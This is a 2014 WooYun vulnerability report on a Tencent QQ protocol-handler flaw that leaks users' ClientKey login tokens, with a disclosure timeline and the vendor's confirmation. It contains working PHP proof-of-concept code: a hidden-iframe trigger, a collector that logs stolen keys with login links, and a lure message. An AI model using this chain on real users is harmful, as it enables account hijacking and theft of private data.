当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-054204

漏洞标题:腾讯QQ某控件设计缺陷导致可远程登录任意QQ账号(已证明QQ空间、相册、微博、邮箱可登陆)

相关厂商:腾讯

漏洞作者: 猪猪侠

提交时间:2014-03-21 14:10

修复时间:2014-05-05 14:10

公开时间:2014-05-05 14:10

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-21: 细节已通知厂商并且等待厂商处理中
2014-03-24: 厂商已经确认,细节仅向厂商公开
2014-04-03: 细节向核心白帽子及相关领域专家公开
2014-04-13: 细节向普通白帽子公开
2014-04-23: 细节向实习白帽子公开
2014-05-05: 细节向公众公开

简要描述:

腾讯QQ客户端某默认安装空间存在严重安全缺陷,黑客可远程获取任意好友的ClientKEY;
结合另外一个漏洞,即可绕过腾讯单点登陆系统的IP访问限制,登陆好友的QQ空间(围观QQ相册你懂的!)、QQ邮箱、QQ微博等QQ全线业务系统。

详细说明:

#详细的过程视频演示(更易懂)
http://wydrops-wordpress.stor.sinaapp.com/uploads/2014/05/qq.wmv


#1 测试环境
操作系统:Windows8 X64 最新版本补丁
QQ客户端:http://im.qq.com 下载的最新版 V 5.2 客户端程序 (2014年3月21日)

install.png


#2 问题描述
腾讯QQ客户端在安装时,会自动启用并在操作系统内注册多个自身产品控件,同时注册伪协议tencent:// 供自身产品调用。
#3 问题细节
腾讯QQ聊天窗口客户端有一个音乐分享功能,可供用户与用户之间进行音乐分享,由于本功能采用伪协议调用miniplayer(QQ空间音乐播放器)中的某个功能来播放音乐,其中mdlurl参数URL未做安全校验,导致直接将客户端的ClientKey附加为参数提交。
我们只需要构造特定的mdlurl,制定到自己的服务器,就能成功截取到好友的ClientKEY了
friend.php

<?php
$uinqq = $_GET['qq'];
$request_url = "tencent://miniplayer/?cmd=3&fuin=0&frienduin=" . $uinqq . "&action='accept'&mdlurl='http://bbs.m.qq.com/libs/qqmusic.php?songcount=1&songidlist=0&version=207&cmd=3&songnamelist=fuzz&singernamelist=success&songurllist=http%3A%2F%2Fstreamrdt.music.qq.com%2F4887.e3a65320e960cdf1b15d303b11495222%2F0%2Fa.mp3'&Exe=QQ";
$qzone_url = "http://user.qzone.qq.com/?" . $uinqq;
echo '<html><meta http-equiv="refresh" content="2;url=' . $qzone_url . '">';
echo "<iframe src=\"" . $request_url . "\" height=0px width=0px></iframe></html>";
?>

漏洞证明:

#4 实战利用

腾讯手机客户端推广计划,帮助好友加速升级!
http://bbs.m.qq.com/friend.php?qq=63200
!这个漏洞不受域名或者地域的限制,可以在任意页面引用带有伪协议的链接,就能获取到好友QQ的ClinetKEY
http://www.wooyun.org/hello?qq=63200
帮忙点一下呗?


send.jpg


#5 好友互动
当QQ好友点击那个链接后,我们即可接收到他的ClientKEY

.jpg


#6 成功获取到ClientKEY
qqmusic.php

<?php
$qquin = $_GET['uin'];
$clientkey = $_GET['key'];
$raw_data = 'UIN: ' . $qquin . ' KEY: <a href="http://clubclient.qq.com/clubclient_goto.php?uin=' . $qquin . '&key=' . $clientkey . '&sendclick=1&qptag=1&statid=10001903&gotourl=http://qzone.qq.com&tipsid=52684" target="_blank">' . $clientkey . '</a> ' . date('Y,m,d H:i:s'). ' : ' . $_SERVER["REMOTE_ADDR"] . "<br>";
$fp = @fopen('../fuzzlog.html','a+');
@fwrite($fp, "$raw_data");
@fclose($fp);
?>


fuzz.jpg


# QQ相册,QQ空间,呵呵

qq相册.jpg

修复方案:

# 严格校验传递ClientKEY的URL是否为自身服务器

版权声明:转载请注明来源 猪猪侠@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-03-24 11:14

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无